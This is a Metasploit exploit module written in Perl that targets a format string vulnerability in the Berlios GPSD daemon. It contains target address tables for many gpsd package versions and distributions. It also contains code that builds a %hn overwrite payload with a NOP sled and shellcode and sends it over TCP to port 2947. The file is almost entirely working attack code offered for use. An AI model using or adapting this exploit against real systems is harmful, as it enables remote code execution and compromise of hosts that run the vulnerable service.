berlios.meta.txt

`package Msf::Exploit::gpsd_format_string;  
use base "Msf::Exploit";  
use strict;  
use Pex::Text;  
use IO::Socket;  
  
my $advanced = { };  
  
my $info = {  
'Name' => 'Berlios GPSD Format String Vulnerability',  
'Version' => '$ 1.0 $',  
'Authors' => [ 'Enseirb <senotier [at] enseirb.fr>', ],  
'Arch' => [ 'x86' ],  
'OS' => [ 'linux' ],  
'Priv' => 1,  
  
'UserOpts' =>  
{  
'RHOST' => [1, 'ADDR', 'The target address'],  
'RPORT' => [1, 'PORT', 'The target port', 2947],  
  
},  
  
'Payload' =>  
{  
'Space' => 1004,  
'BadChars' => "\x00\x0a\x0d\x0c",  
},  
  
'Targets' =>  
  
[  
[ "gpsd-1.91-1.i386.rpm", 0x0804f250,0x41424344 ], # .rpms Tested on Redhat 9.0  
[ "gpsd-1.92-1.i386.rpm", 0x0804f630,0x41424344 ],  
[ "gpsd-1.93-1.i386.rpm", 0x0804e154,0x41424344 ],  
[ "gpsd-1.94-1.i386.rpm", 0x0804f260,0x41424344 ],  
[ "gpsd-1.95-1.i386.rpm", 0x0804f268,0x41424344 ],  
[ "gpsd-1.96-1.i386.rpm", 0x41424344,0x41424344 ],  
[ "gpsd-1.97-1.i386.rpm", 0x0804b14c,0x41424344 ],  
[ "gpsd-2.1-1.i386.rpm", 0x0804c7a0,0x41424344 ],  
[ "gpsd-2.2-1.i386.rpm", 0x0804c7a0,0x41424344 ],  
[ "gpsd-2.3-1.i386.rpm", 0x0804c730,0xbfffd661 ],  
[ "gpsd-2.4-1.i386.rpm", 0x0804c7b8,0xbfffde71 ],  
[ "gpsd-2.5-1.i386.rpm", 0x0804c7dc,0xbfffdc09 ],  
[ "gpsd-2.6-1.i386.rpm", 0x0804c730,0xbffff100 ],  
[ "gpsd-2.7-1.i386.rpm", 0x0804c5bc,0xbfffcabc ],  
[ "gpsd_2.6-1_i386.deb", 0x0804c7c4,0xbfffedc8 ],   
[ "gpsd_2.7-1_i386.deb", 0x0804c6c4,0xbfffc818 ],  
[ "gpsd_2.7-2_i386.deb", 0x0804c770,0xbfffee70 ],  
["SuSE 9.1 compiled 2.0", 0x0804c818,0xbfffe148 ],   
[ "Slackware 9.0 compiled 2.0", 0x0804b164,0xbfffd7d6 ],  
[ "Slackware 9.0 compiled 2.7 ", 0x0804c3ec,0xbfffe65c ],   
[ "Debug ", 0x41424344,0xdeadbeef ],   
],  
  
  
'Description' =>  
Pex::Text::Freeform(qq{  
This module exploits a format string vulnerability in the Berlios GPSD server.  
This vulnerability was discovered by Kevin Finisterre.  
}),  
  
'Keys' => ['gpsd'],  
  
'DisclosureDate' => 'May 25 2005',  
  
};  
  
sub new {  
my $class = shift;  
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);  
return($self);  
}  
  
sub Exploit {  
my $self = shift;  
my $target_idx = $self->GetVar('TARGET');  
my $target_host = $self->GetVar('RHOST');  
my $target_port = $self->GetVar('RPORT');  
my $shellcode = $self->GetVar('EncodedPayload')->Payload;  
my $target = $self->Targets->[$target_idx];  
  
$self->Print("[*] Reading information from target " . $target_host . ": ");  
  
my $offset = 17;  
my $dump_fmt = 7;  
my $al = 3;  
my ($hi,$lo);  
my ($shift0,$shift1);  
my $buf;  
  
$hi = ($target->[2] >> 0) & 0xffff;  
$lo = ($target->[2] >> 16) & 0xffff;  
  
$shift0 = sprintf("%d",$hi) - sprintf("%d",$offset) - ($dump_fmt * 8 + 16 + $al);  
$shift1 = (sprintf("%d",0x10000) + sprintf("%d",$lo)) - sprintf("%d",$hi);  
  
$buf = "A" x 3 . "B" x 4;   
$buf .= pack('V',$target->[1]);  
$buf .= "B" x 4;  
$buf .= pack('V',$target->[1] + 0x2);  
$buf .= "%.8x" x7 ."%.".$shift0."lx%hn"."%.".$shift1."lx%hn";  
$buf .= $self->MakeNops(3000) . $shellcode ;   
  
my $s = Msf::Socket::Tcp->new  
(  
'PeerAddr' => $target_host,  
'PeerPort' => $target_port,  
);  
  
if ($s->IsError) {  
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);  
return;  
}  
  
$s->Send($buf);  
$s->Close();  
  
return;  
}  
  
1;  
`